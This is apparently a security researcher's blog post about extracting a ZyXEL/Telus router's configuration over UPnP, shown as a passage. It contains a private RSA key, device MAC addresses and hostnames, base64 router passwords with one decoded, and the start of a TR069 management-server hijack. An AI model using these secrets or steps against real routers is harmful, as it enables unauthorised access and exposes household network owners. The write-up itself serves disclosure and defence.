<HostName>JoeyCheMacBook2</HostName> <SourceMAC>3c:15:c2:df:47:ee</SourceMAC> </X_5067F0_MacFilterCfg> <X_5067F0_MacFilterCfg instance="18"> <Enable>TRUE</Enable> <HostName>cheungsesiPhone</HostName> <SourceMAC>88:cb:87:1f:9b:78</SourceMAC> </X_5067F0_MacFilterCfg> <X_5067F0_MacFilterCfg instance="19"> <Enable>TRUE</Enable> <HostName>nemph</HostName> <SourceMAC>68:5d:43:56:b3:a5</SourceMAC> </X_5067F0_MacFilterCfg> <X_5067F0_MacFilterCfg instance="20"> <Enable>TRUE</Enable> <HostName>android-93064ab963f8f8b1</HostName> <SourceMAC>14:30:c6:a9:02:0f</SourceMAC> </X_5067F0_MacFilterCfg> <X_5067F0_MacFilterCfg instance="21"> <Enable>TRUE</Enable> <HostName>Pavilion-PC</HostName> <SourceMAC>b0:10:41:14:5a:cc</SourceMAC> </X_5067F0_MacFilterCfg> <X_5067F0_MacFilterCfg instance="22"> <Enable>TRUE</Enable> <HostName>android-bad67e7d974241cb</HostName> <SourceMAC>f4:09:d8:9a:84:5d</SourceMAC> </X_5067F0_MacFilterCfg> <X_5067F0_MacFilterCfg instance="23"> <Enable>TRUE</Enable> <HostName>EPSON065B0F</HostName> <SourceMAC>b0:e8:92:06:5b:0f</SourceMAC> </X_5067F0_MacFilterCfg> <X_5067F0_MacFilterCfg instance="24"> <Enable>TRUE</Enable> <HostName>BLACKBERRY-E8B3</HostName> <SourceMAC>80:60:07:5f:c1:59</SourceMAC> </X_5067F0_MacFilterCfg> <X_5067F0_MacFilterCfg instance="25"> <Enable>TRUE</Enable> <HostName>Waynes-iPhone</HostName> <SourceMAC>34:c0:59:d2:52:58</SourceMAC> </X_5067F0_MacFilterCfg> <X_5067F0_MacFilterCfg instance="26"> <Enable>TRUE</Enable> <HostName>xutongldeiPhone</HostName> <SourceMAC>b4:18:d1:31:ce:95</SourceMAC> </X_5067F0_MacFilterCfg> <X_5067F0_MacFilterCfg instance="27"> <Enable>TRUE</Enable> <HostName>iPad</HostName> <SourceMAC>1c:ab:a7:cd:35:50</SourceMAC> </X_5067F0_MacFilterCfg> <X_5067F0_MacFilterCfg instance="28"> <Enable>TRUE</Enable> <HostName>Wayne</HostName> <SourceMAC>90:48:9a:f5:46:c1</SourceMAC> </X_5067F0_MacFilterCfg> <X_5067F0_MacFilterCfg instance="29"> <Enable>TRUE</Enable> <HostName>HP</HostName> <SourceMAC>a4:17:31:14:72:ab</SourceMAC> </X_5067F0_MacFilterCfg> <X_5067F0_MacFilterCfg instance="30"> <Enable>TRUE</Enable> <HostName>android-b9de5e873bc48747</HostName> <SourceMAC>34:23:ba:fc:f9:bb</SourceMAC> </X_5067F0_MacFilterCfg> <X_5067F0_MacFilterCfg instance="31"> <Enable>TRUE</Enable> <HostName>Perla-PC</HostName> <SourceMAC>dc:85:de:1d:43:77</SourceMAC> </X_5067F0_MacFilterCfg> <X_5067F0_MacFilterCfg instance="32"> <Enable>TRUE</Enable> <SourceMAC>00:23:12:02:ab:0d</SourceMAC> </X_5067F0_MacFilterCfg> <X_5067F0_MacFilterCfg instance="33"> <Enable>TRUE</Enable> <HostName>vulture</HostName> <SourceMAC>3c:15:c2:e7:77:a8</SourceMAC> </X_5067F0_MacFilterCfg> <X_5067F0_MacFilterCfg instance="34"> <Enable>TRUE</Enable> <HostName>JulieAnnesiPad</HostName> <SourceMAC>f0:24:75:0d:b6:8c</SourceMAC> </X_5067F0_MacFilterCfg> <X_5067F0_MacFilterCfg instance="35"> <Enable>TRUE</Enable> <HostName>android-b514c5a297a2392d</HostName> <SourceMAC>f8:a9:d0:67:b0:92</SourceMAC> </X_5067F0_MacFilterCfg> <X_5067F0_MacFilterCfg instance="36"> <Enable>TRUE</Enable> <HostName>Maleehas-iPhone</HostName> <SourceMAC>00:88:65:4a:eb:e5</SourceMAC> </X_5067F0_MacFilterCfg> <X_5067F0_MacFilterCfg instance="37"> <Enable>TRUE</Enable> <HostName>gateway</HostName> <SourceMAC>00:c0:ca:69:af:4c</SourceMAC> </X_5067F0_MacFilterCfg> <X_5067F0_MacFilterCfg instance="38"> <Enable>TRUE</Enable> <HostName>gateway</HostName> <SourceMAC>00:87:12:23:13:2f</SourceMAC> </X_5067F0_MacFilterCfg> <X_5067F0_MacFilterCfg instance="39"> <Enable>TRUE</Enable> <HostName>gateway</HostName> <SourceMAC>30:b5:c2:05:de:74</SourceMAC> </X_5067F0_MacFilterCfg> <X_5067F0_MacFilterCfg instance="40"> <Enable>TRUE</Enable> <HostName>android-bd7a2672e4354f</HostName> <SourceMAC>18:87:96:54:14:3b</SourceMAC> </X_5067F0_MacFilterCfg> <X_5067F0_MacFilterCfg instance="41"> <Enable>TRUE</Enable> <HostName>Chriss-MBP</HostName> <SourceMAC>6c:40:08:a5:bb:82</SourceMAC> </X_5067F0_MacFilterCfg> <X_5067F0_MacFilterCfg instance="42"> <Enable>TRUE</Enable> <HostName>android-c73b037ffae38898</HostName> <SourceMAC>1c:af:05:28:10:76</SourceMAC> </X_5067F0_MacFilterCfg> <X_5067F0_MacFilterCfg instance="43"> <Enable>TRUE</Enable> <HostName>Shadrak</HostName> <SourceMAC>34:de:1a:0d:8f:c7</SourceMAC> </X_5067F0_MacFilterCfg> <X_5067F0_MacFilterCfg instance="44"> <Enable>TRUE</Enable> <HostName>gateway</HostName> <SourceMAC>00:0d:81:af:0c:e8</SourceMAC> </X_5067F0_MacFilterCfg> <X_5067F0_MacFilterCfg nextInstance="45" ></X_5067F0_MacFilterCfg> </X_5067F0_MacFilterObj> <X_5067F0_CertificateCfg instance="1"> <Name>cpecert</Name> <Subject>CN=ZyXELcert/O=ZyXEL/OU=ZyXEL/C=TW </Subject> <Type>signed</Type> <Content>-----BEGIN CERTIFICATE----- MIIDKTCCAhECCQCce5j6lQjIPzANBgkqhkiG9w0BAQUFADBsMRQwEgYDVQQDEwsx NzIuMjEuMS4xNDEOMAwGA1UEChMFenl4ZWwxDDAKBgNVBAsTA2NwZTELMAkGA1UE BhMCVFcxKTAnBgkqhkiG9w0BCQEWGmpoZW55YW5nLndhbmdAenl4ZWwuY29tLnR3 MB4XDTA5MTIxNzA1MjIyMFoXDTExMTIxNzA1MjIyMFowQTESMBAGA1UEAxMJWnlY RUxjZXJ0MQ4wDAYDVQQKEwVaeVhFTDEOMAwGA1UECxMFWnlYRUwxCzAJBgNVBAYT AlRXMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAt0rb40B8wvpGQ1Q6 pBbO8M4LO3V4gB0LRhojIriZsFoMC7CHQuzK2jASwDvmcPQQw7TDgK9aJNAYsNNh ShlKYOEiiKAqCa5edhwTGd6+JLL1lOVf6l7TENKMtBV/TxmG4jReljeOacJ6lIBj dySqDyEKEnQD+A7stmyOIK/QBa31ujjO9PtSUr46gXDms+XPPkRzKcKFK7vZtNkF 3pNETjMAZaW/5q0h93OZ3yV0GCDKsFkmtP8kDtKbpXjaFp/9GPc3gbkDcIvUJZAz UXUz0+GyA9P17W2QFOQ2L+elBaHbG1/3hWVaxi2vIwAqGoPGjuOT8F8a13xrVzkR 3hpK+wIDAQABMA0GCSqGSIb3DQEBBQUAA4IBAQBcAd2D10I1dQXMhxlzCXq/mdZn irqrI5CNpd/5vtspBk7P4Awj9t9R8qtX7J9Ym0ikeaV05gMJAfRzPvW4e9v7ZRjv YlOpa1PlzMx/1WgcbZrPe+MC9Zd7kaSrCpNvDtnJasiVt4BJMvrtp8pFLNcHIsPo +gx8uZeuUbhCdDNwlFIJfNEKlEjdhPHdoWJA2As9qw/AAOL89Vuv5jDLgI6YQ1yq bF6hlpBxz/UjH+l2BGW+qtBlk9qkFpO/Cp7s55OLAb7BgDelzTFIF+HmPlMEuuPm LQby7Jkcw30ywbvUZA9MGG/Nc/yEBvXzOEtxIYjiPJTIFJavgswFVX+x66Hp -----END CERTIFICATE----- </Content> <PrivKey>-----BEGIN RSA PRIVATE KEY----- MIIEowIBAAKCAQEAt0rb40B8wvpGQ1Q6pBbO8M4LO3V4gB0LRhojIriZsFoMC7CH QuzK2jASwDvmcPQQw7TDgK9aJNAYsNNhShlKYOEiiKAqCa5edhwTGd6+JLL1lOVf 6l7TENKMtBV/TxmG4jReljeOacJ6lIBjdySqDyEKEnQD+A7stmyOIK/QBa31ujjO 9PtSUr46gXDms+XPPkRzKcKFK7vZtNkF3pNETjMAZaW/5q0h93OZ3yV0GCDKsFkm tP8kDtKbpXjaFp/9GPc3gbkDcIvUJZAzUXUz0+GyA9P17W2QFOQ2L+elBaHbG1/3 hWVaxi2vIwAqGoPGjuOT8F8a13xrVzkR3hpK+wIDAQABAoIBAAew7nUkuZd85QHi QOutwVU9cB84mKvXjCeO5TaJxHkv7h13dNWMFh79sWu7l7nZo/JyXVnDAedVjBOv av+u+/4AtHBDOEBbvr76ApstS5FCqSdsUJAHFpg4HYtY85SgH5bSV7256xHpBTfC A2p2cWRdII0RrTD1f11QRM5+Uh5K0jreLGfNl8IdOC3IR0G1dwhlSO92A5HGWPi4 DquJtq3apvX0HgS/oTCZmYP1wzjDJzcSVwW2XYmHFH9wiBiAnru2+XO+eJZtW2em 0ssTyo3/EJGYkJGHd+vOugyjH8t+VBDYA+iphChDuuRT/So8GrSDfSFhmjw3NAnB qZwPR4ECgYEA3zI/LLrMbNDYwpEAnTjA0NsXHfm/sn+II3/RmmgSXaHIg9ge4jk0 3rWplIWTY5gFF8qo0gdR45gdmxAW+Uw8Yqr1thhVPPR+gJ7o8LiRl1xFgsDbDeLA sZ+hAZWPhmQaJydckvo/UoMdFjm9BhZl0yCAB2+6ZyXhvGABbvMIPBsCgYEA0js7 DRkLARbv3g9NX9L0hHOIEMoUyWIb/0b+KuU++PWlzXxMOKPSMbwJf4axmviIblyD o22v7Z9sY5V5AgVXkpQzSyp3qnlDtP3J2TpBG9XagL9sIz0gif+4sxReyC9jn+wv okr4J79CM0Agjt0WOt4UdGdwyvvBwg2WRpkRWqECgYEAi9UsFTb2yhnSI5u62cVr r64Dfqkwu4EA5tS2mdkn4Hdya3+kYbDbecgwdTd2jsf4MN6sA+HIISH1MmfTLN7h WiOniy0Vgfnfo29rmxzXQg/yEKgI1VtBxEaxFZAA+n6OkAcuDXsw3t38BCeqUD0K EErlS0NpciQel+lCHKOwfg8CgYAi54ShYxQJpUZEByRgkYTZbNkdeH/FA84EL0RJ 2PAAo8BYgpehG8ntSfwFuVZJlZQJRsDwZGi+OibjzdBefoaQppxxkWZ23lVYen6F 238t4O67S4znuOFrKBMBYJNwBzYyOiOafXoAF2glXDNLpPdo5LBet0Hp4azEzD60 D/vqoQKBgHdz6bc308y+bSAaUcbEqSkUekWzyIldXanhKeYb9/YP+N4NFVLrYtP/ 880iVAp8ARriXMQZW3UKjt/qQktOeiy3gJAO09qJ3AafGNyrCsmGLCWjBtaZZvuj tGteeJ4vsUB9kaLRl20D8JNA7LiF8WqjfBuk5kWvHi9z+hVq7/QD -----END RSA PRIVATE KEY----- </PrivKey> <RefCount>1</RefCount> </X_5067F0_CertificateCfg> <X_5067F0_CertificateCfg instance="2"> <Name>Pca-3.pem</Name> <Subject>C=US/O=VeriSign, Inc./OU=Class 3 Public Primary Certification Authority </Subject> <Type>ca</Type> <Content>-----BEGIN CERTIFICATE----- MIICPDCCAaUCEDyRMcsf9tAbDpq40ES/Er4wDQYJKoZIhvcNAQEFBQAwXzELMAkG A1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMTcwNQYDVQQLEy5DbGFz cyAzIFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTk2 MDEyOTAwMDAwMFoXDTI4MDgwMjIzNTk1OVowXzELMAkGA1UEBhMCVVMxFzAVBgNV BAoTDlZlcmlTaWduLCBJbmMuMTcwNQYDVQQLEy5DbGFzcyAzIFB1YmxpYyBQcmlt YXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIGfMA0GCSqGSIb3DQEBAQUAA4GN ADCBiQKBgQDJXFme8huKARS0EN8EQNvjV69qRUCPhAwL0TPZ2RHP7gJYHyX3KqhE BarsAx94f56TuZoAqiN91qyFomNFx3InzPRMxnVx0jnvT0Lwdd8KkMaOIG+YD/is I19wKTakyYbnsZogy1Olhec9vn2a/iRFM9x2Fe0PonFkTGUugWhFpwIDAQABMA0G CSqGSIb3DQEBBQUAA4GBABByUqkFFBkyCEHwxWsKzH4PIRnN5GfcX6kb5sroc50i 2JhucwNhkcV8sEVAbkSdjbCxlnRhLQ2pRdKkkirWmnWXbj9T/UWZYB2oK0z5XqcJ 2HUw19JlYD1n1khVdWk/kfVIC0dpImmClr7JyDiGSnoscxlIaU5rfGW/D/xwzoiQ -----END CERTIFICATE----- </Content> <EnableCACertTR069>TRUE</EnableCACertTR069> </X_5067F0_CertificateCfg> <X_5067F0_CertificateCfg instance="3"> <Name>Pca-3g5.pem</Name> <Subject>C=US/O=VeriSign, Inc./OU=VeriSign Trust Network/OU=(c) 2006 VeriSign, Inc. - For authorized use only/CN=VeriSign Class 3 Public Primary Certification Authority - G5 </Subject> <Type>ca</Type> <Content>-----BEGIN CERTIFICATE----- MIIE0zCCA7ugAwIBAgIQGNrRniZ96LtKIVjNzGs7SjANBgkqhkiG9w0BAQUFADCB yjELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQL ExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwNiBWZXJp U2lnbiwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVzZSBvbmx5MUUwQwYDVQQDEzxW ZXJpU2lnbiBDbGFzcyAzIFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0 aG9yaXR5IC0gRzUwHhcNMDYxMTA4MDAwMDAwWhcNMzYwNzE2MjM1OTU5WjCByjEL MAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZW ZXJpU2lnbiBUcnVzdCBOZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwNiBWZXJpU2ln biwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVzZSBvbmx5MUUwQwYDVQQDEzxWZXJp U2lnbiBDbGFzcyAzIFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9y aXR5IC0gRzUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCvJAgIKXo1 nmAMqudLO07cfLw8RRy7K+D+KQL5VwijZIUVJ/XxrcgxiV0i6CqqpkKzj/i5Vbex t0uz/o9+B1fs70PbZmIVYc9gDaTY3vjgw2IIPVQT60nKWVSFJuUrjxuf6/WhkcIz SdhDY2pSS9KP6HBRTdGJaXvHcPaz3BJ023tdS1bTlr8Vd6Gw9KIl8q8ckmcY5fQG BO+QueQA5N06tRn/Arr0PO7gi+s3i+z016zy9vA9r911kTMZHRxAy3QkGSGT2RT+ rCpSx4/VBEnkjWNHiDxpg8v+R70rfk/Fla4OndTRQ8Bnc+MUCH7lP59zuDMKz10/ NIeWiu5T6CUVAgMBAAGjgbIwga8wDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8E BAMCAQYwbQYIKwYBBQUHAQwEYTBfoV2gWzBZMFcwVRYJaW1hZ2UvZ2lmMCEwHzAH BgUrDgMCGgQUj+XTGoasjY5rw8+AatRIGCx7GS4wJRYjaHR0cDovL2xvZ28udmVy aXNpZ24uY29tL3ZzbG9nby5naWYwHQYDVR0OBBYEFH/TZafC3ey78DAJ80M5+gKv MzEzMA0GCSqGSIb3DQEBBQUAA4IBAQCTJEowX2LP2BqYLz3q3JktvXf2pXkiOOzE p6B4Eq1iDkVwZMXnl2YtmAl+X6/WzChl8gGqCBpH3vn5fJJaCGkgDdk+bW48DW7Y 5gaRQBi5+MHt39tBquCWIMnNZBU4gcmU7qKEKQsTb47bDN0lAtukixlE0kF6BWlK WE9gyn6CagsCqiUXObXbf+eEZSqVir2G3l6BFoMtEMze/aiCKm0oHw0LxOXnGiYZ 4fQRbxC1lfznQgUy286dUV4otp6F01vvpX1FQHKOtw5rDgb7MzVIcbidJ4vEZV8N hnacRHr2lVz2XTIIM6RUthg/aFzyQkqFOFSDX9HoLPKsEdao7WNq -----END CERTIFICATE----- </Content> <EnableCACertTR069>TRUE</EnableCACertTR069> </X_5067F0_CertificateCfg> <X_5067F0_CertificateCfg instance="4"> <Name>PCA-3G3.pem</Name> <Subject>C=US/O=VeriSign, Inc./OU=VeriSign Trust Network/OU=(c) 1999 VeriSign, Inc. - For authorized use only/CN=VeriSign Class 3 Public Primary Certification Authority - G3 </Subject> <Type>ca</Type> <Content>-----BEGIN CERTIFICATE----- MIIEGjCCAwICEQCbfgZJoz5iudXukEhxKe9XMA0GCSqGSIb3DQEBBQUAMIHKMQsw CQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZl cmlTaWduIFRydXN0IE5ldHdvcmsxOjA4BgNVBAsTMShjKSAxOTk5IFZlcmlTaWdu LCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxRTBDBgNVBAMTPFZlcmlT aWduIENsYXNzIDMgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3Jp dHkgLSBHMzAeFw05OTEwMDEwMDAwMDBaFw0zNjA3MTYyMzU5NTlaMIHKMQswCQYD VQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlT aWduIFRydXN0IE5ldHdvcmsxOjA4BgNVBAsTMShjKSAxOTk5IFZlcmlTaWduLCBJ bmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxRTBDBgNVBAMTPFZlcmlTaWdu IENsYXNzIDMgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkg LSBHMzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMu6nFL8eB8aHm8b N3O9+MlrlBIwT/A2R/XQkQr1F8ilYcEWQE37imGQ5XYgwREGfassbqb1EUGO+i2t KmFZpGcmTNDovFJbcCAEWNF6yaRpvIMXZK0Fi7zQWM6NjPXr8EJJC52XJ2cybuGu kxUccLwgTS8Y3pKI6GyFVxEa6X7jJhFUokWWVYPKMIno3Nij7SqAP395ZVc+FSBm CC+Vk7+qRy+oRpfwEuL+wgorUeZ25rdGt+INpsyow0xZVYnm6FNcHOqd8GIWC6fJ Xwzw3sJ2zq/3avL6QaaiMxTJ5Xpj055iN9WFZZ4O5lMkdBteHRJTW8cs54NJOxWu imi5V5cCAwEAATANBgkqhkiG9w0BAQUFAAOCAQEAERSWwauSCPc/L8my/uRan2Te 2yFPhpk0djZX3dAVL8WtfxUfN2JzPtTnX84XA9s1+ivbrmAJXx5fj267Cz3qWhMe DGBvtcC1IyIuBwvLqXTLR7sdwdela8wv0kL9Sd2nic9TutoAWii/gt/4uhMdUIaC /Y4wjylGsB49Ndo4YhYYSq3mtlFs3q9i6wHQHiT+eo8SGhJouPtmmRQURVyu565p F4ErWjfJXir0xuKhXFSbplQAz/DxwceYMBo7Nhbbo27q/a2ywtrvAkcTisDxszGt TxzhT5yvDwyd93gN2PQ1VoDat20Xj50egWTh/sVFuq1ruQp6Tk9LhO5L8X3dEQ== -----END CERTIFICATE----- </Content> <EnableCACertTR069>TRUE</EnableCACertTR069> </X_5067F0_CertificateCfg> <X_5067F0_CertificateCfg nextInstance="5" ></X_5067F0_CertificateCfg> <X_5067F0_NetworkConfig> <DNSIfName>atm0,atm1,ptm0.1,eth10.1</DNSIfName> </X_5067F0_NetworkConfig> <X_5067F0_IGMP> <IGMPproxy>TRUE</IGMPproxy> <GroupStats nextInstance="34" ></GroupStats> <HostStats nextInstance="76" ></HostStats> <HostConfig instance="6"> <HostIPAddr>192.168.1.XX</HostIPAddr> <HostIsSTB>TRUE</HostIsSTB> <IGMPEnable>TRUE</IGMPEnable> <HostMacAddr>b0:e8:92:47:52:b1</HostMacAddr> </HostConfig> <HostConfig instance="7"> <HostIPAddr>0.0.0.0</HostIPAddr> <HostIsSTB>FALSE</HostIsSTB> <IGMPEnable>TRUE</IGMPEnable> <HostMacAddr>00:00:00:00:00:00</HostMacAddr> </HostConfig> <HostConfig instance="10"> <HostIPAddr>192.168.1.XX</HostIPAddr> <HostIsSTB>TRUE</HostIsSTB> <IGMPEnable>TRUE</IGMPEnable> <HostMacAddr>48:44:f7:52:8a:f6</HostMacAddr> </HostConfig> <HostConfig instance="25"> <HostIPAddr>192.168.1.XX</HostIPAddr> <HostIsSTB>TRUE</HostIsSTB> <IGMPEnable>TRUE</IGMPEnable> <HostMacAddr>b0:e8:92:06:5b:0f</HostMacAddr> </HostConfig> <HostConfig instance="32"> <HostIPAddr>192.168.1.XX</HostIPAddr> <HostIsSTB>FALSE</HostIsSTB> <IGMPEnable>TRUE</IGMPEnable> <HostMacAddr>34:23:ba:fc:f9:bb</HostMacAddr> </HostConfig> <HostConfig instance="33"> <HostIPAddr>192.168.1.XX</HostIPAddr> <HostIsSTB>FALSE</HostIsSTB> <IGMPEnable>TRUE</IGMPEnable> <HostMacAddr>dc:85:de:1d:43:77</HostMacAddr> </HostConfig> <HostConfig instance="38"> <HostIPAddr>192.168.1.XX</HostIPAddr> <HostIsSTB>FALSE</HostIsSTB> <IGMPEnable>TRUE</IGMPEnable> <HostMacAddr>24:a2:e1:b1:42:b4</HostMacAddr> </HostConfig> <HostConfig instance="41"> <HostIPAddr>192.168.1.XX</HostIPAddr> <HostIsSTB>FALSE</HostIsSTB> <IGMPEnable>TRUE</IGMPEnable> <HostMacAddr>b0:10:41:14:5a:cc</HostMacAddr> </HostConfig> <HostConfig instance="46"> <HostIPAddr>192.168.1.XX</HostIPAddr> <HostIsSTB>FALSE</HostIsSTB> <IGMPEnable>TRUE</IGMPEnable> <HostMacAddr>00:23:12:02:ab:0d</HostMacAddr> </HostConfig> <HostConfig instance="48"> <HostIPAddr>192.168.1.XX</HostIPAddr> <HostIsSTB>FALSE</HostIsSTB> <IGMPEnable>TRUE</IGMPEnable> <HostMacAddr>00:c0:ca:69:af:4c</HostMacAddr> </HostConfig> <HostConfig instance="49"> <HostIPAddr>192.168.1.XX</HostIPAddr> <HostIsSTB>FALSE</HostIsSTB> <IGMPEnable>TRUE</IGMPEnable> <HostMacAddr>00:87:12:23:13:2f</HostMacAddr> </HostConfig> <HostConfig instance="50"> <HostIPAddr>192.168.1.XX</HostIPAddr> <HostIsSTB>FALSE</HostIsSTB> <IGMPEnable>TRUE</IGMPEnable> <HostMacAddr>30:b5:c2:05:de:74</HostMacAddr> </HostConfig> <HostConfig instance="51"> <HostIPAddr>192.168.1.XX</HostIPAddr> <HostIsSTB>FALSE</HostIsSTB> <IGMPEnable>TRUE</IGMPEnable> <HostMacAddr>18:87:96:54:14:3b</HostMacAddr> </HostConfig> <HostConfig instance="52"> <HostIPAddr>192.168.1.XX</HostIPAddr> <HostIsSTB>FALSE</HostIsSTB> <IGMPEnable>TRUE</IGMPEnable> <HostMacAddr>94:eb:cd:53:5b:c4</HostMacAddr> </HostConfig> <HostConfig instance="53"> <HostIPAddr>192.168.1.XX</HostIPAddr> <HostIsSTB>FALSE</HostIsSTB> <IGMPEnable>TRUE</IGMPEnable> <HostMacAddr>6c:40:08:a5:bb:82</HostMacAddr> </HostConfig> <HostConfig instance="54"> <HostIPAddr>192.168.1.XX</HostIPAddr> <HostIsSTB>FALSE</HostIsSTB> <IGMPEnable>TRUE</IGMPEnable> <HostMacAddr>88:cb:87:1f:9b:78</HostMacAddr> </HostConfig> <HostConfig instance="55"> <HostIPAddr>192.168.1.XX</HostIPAddr> <HostIsSTB>FALSE</HostIsSTB> <IGMPEnable>TRUE</IGMPEnable> <HostMacAddr>3c:15:c2:df:47:ee</HostMacAddr> </HostConfig> <HostConfig instance="56"> <HostIPAddr>192.168.1.XX</HostIPAddr> <HostIsSTB>FALSE</HostIsSTB> <IGMPEnable>TRUE</IGMPEnable> <HostMacAddr>1c:af:05:28:10:76</HostMacAddr> </HostConfig> <HostConfig instance="57"> <HostIPAddr>192.168.1.XX</HostIPAddr> <HostIsSTB>FALSE</HostIsSTB> <IGMPEnable>TRUE</IGMPEnable> <HostMacAddr>34:de:1a:0d:8f:c7</HostMacAddr> </HostConfig> <HostConfig instance="58"> <HostIPAddr>192.168.1.XX</HostIPAddr> <HostIsSTB>FALSE</HostIsSTB> <IGMPEnable>TRUE</IGMPEnable> <HostMacAddr>80:60:07:5f:c1:59</HostMacAddr> </HostConfig> <HostConfig instance="59"> <HostIPAddr>192.168.1.XX</HostIPAddr> <HostIsSTB>FALSE</HostIsSTB> <IGMPEnable>TRUE</IGMPEnable> <HostMacAddr>3c:15:c2:e7:77:a8</HostMacAddr> </HostConfig> <HostConfig instance="60"> <HostIPAddr>192.168.1.XX</HostIPAddr> <HostIsSTB>FALSE</HostIsSTB> <IGMPEnable>TRUE</IGMPEnable> <HostMacAddr>14:30:c6:a9:02:0f</HostMacAddr> </HostConfig> <HostConfig instance="61"> <HostIPAddr>192.168.1.XX</HostIPAddr> <HostIsSTB>FALSE</HostIsSTB> <IGMPEnable>TRUE</IGMPEnable> <HostMacAddr>00:0d:81:af:0c:e8</HostMacAddr> </HostConfig> <HostConfig instance="62"> <HostIPAddr>192.168.1.XX</HostIPAddr> <HostIsSTB>FALSE</HostIsSTB> <IGMPEnable>TRUE</IGMPEnable> <HostMacAddr>68:5d:43:56:b3:a5</HostMacAddr> </HostConfig> <HostConfig nextInstance="63" ></HostConfig> </X_5067F0_IGMP> <X_5067F0_NAT_Session> <maxsession>0</maxsession> </X_5067F0_NAT_Session> </InternetGatewayDevice> </DslCpeConfig> upnp>
Bingo. So did anyone else notice the AdminPassword, TechPassword and RootPassword tags, as well as the UserName and Password tags?
<AdminPassword>ZFQyN01hQ2UyWVpQAA==</AdminPassword> <UserName>tech</UserName> <Password>eU5rV2lUZ3hlMEZHAA==</Password> <UserName>admin</UserName> <Password>WW9naTgyOAA=</Password>
These couldn’t just be base64 encoded versions of the passwords right?
nada@nemph:~/working/zyxel_vsg1432$ python
Python 2.7.9 (default, Mar 1 2015, 12:57:24)
[GCC 4.9.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import base64
>>> base64.b64decode('ZFQyN01hQ2UyWVpQAA==')
'dT27MaCe2YZP\x00'
>>>
nada@nemph:~/working/zyxel_vsg1432$
So, is the root password ‘dT27MaCe2YZP’?
Yes. Yes it is. Achievement Unlocked. My friend was impressed. I, on the other hand, was not. It shouldn’t be that easy. Other details in the config include WiFi keys, including those for other SSIDs and various low level configuration. At least with the web interface you need to log in to get a backup of the configuration.
I’d recommend that people disable UPnP (if possible), especially if they let randoms connect to their WiFi. There’s a tool to automate the password recovery process at http://github.com/nada-labs/zyxel-tools.git for the people who want more access to their routers than Telus gives them.
Getting the firmware image
So I had control of the router, yet still no firmware image. Buried in the configuration were the firewall settings for Telnet, FTP and SSH, all of which were set to DENY_ALL. How to change them to LAN_ONLY? I could edit the config and upload a new one, however that might reboot the router and I’d like to avoid that. I do have the ability to change the ManagementServer settings, including the URL it talks to, via the web interface or UPnP. After spending some time reading the specification of TR069 I learnt that it’s a remote configuration protocol used by ISPs (Urrgh) to setup and troubleshoot routers on their network and it’s based on SOAP (Ewww).
All I needed was to be able to set a few parameters on this router once it connects. Most of the TR069 software out there was complete overkill, however I found a great example of the CPE Provisioning process, including the SetParameterValues method. A quick bash up of the raw HTTP responses that were required and a netcat listener later I was ready to give it a shot.
POST / HTTP/1.1 Host: 192.168.1.81:80 User-Agent: BCM_TR69_CPE_04_00 Connection: keep-alive SOAPAction: Content-Type: text/xml Content-Length: 3159 <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:cwmp="urn:dslforum-org:cwmp-1-0"> <SOAP-ENV:Header> <cwmp:ID SOAP-ENV:mustUnderstand="1">1117230366</cwmp:ID> </SOAP-ENV:Header> <SOAP-ENV:Body> <cwmp:Inform> <DeviceId> <Manufacturer>TELUS</Manufacturer> <OUI>5067F0</OUI> <ProductClass>VSG1432</ProductClass> <SerialNumber>S121K09008230</SerialNumber> </DeviceId> <Event SOAP-ENC:arrayType="cwmp:EventStruct[1]"> <EventStruct> <EventCode>0 BOOTSTRAP</EventCode> <CommandKey></CommandKey> </EventStruct> </Event> <MaxEnvelopes>1</MaxEnvelopes> <CurrentTime>2015-09-28T15:28:18-08:00</CurrentTime> <RetryCount>3</RetryCount> <ParameterList SOAP-ENC:arrayType="cwmp:ParameterValueStruct[0008]"> <ParameterValueStruct> <Name>InternetGatewayDevice.DeviceSummary</Name> <Value xsi:type="xsd:string">InternetGatewayDevice:1.4[](Baseline:1, EthernetLAN:1, Time:1, IPPing:1, DeviceAssociation:1, EthernetWAN:1, VDSL2WAN:1, ADSLWAN:1, ATMLoopback:1, DSLDiagnostics:1, WiFiLAN:1, TraceRoute:1, X_5067F0_Nslookup:1, X_5067F0_TrustDomain:1)</Value> </ParameterValueStruct> <ParameterValueStruct> <Name>InternetGatewayDevice.DeviceInfo.SpecVersion</Name> <Value xsi:type="xsd:string">1.0</Value> </ParameterValueStruct> <ParameterValueStruct> <Name>InternetGatewayDevice.DeviceInfo.HardwareVersion</Name> <Value 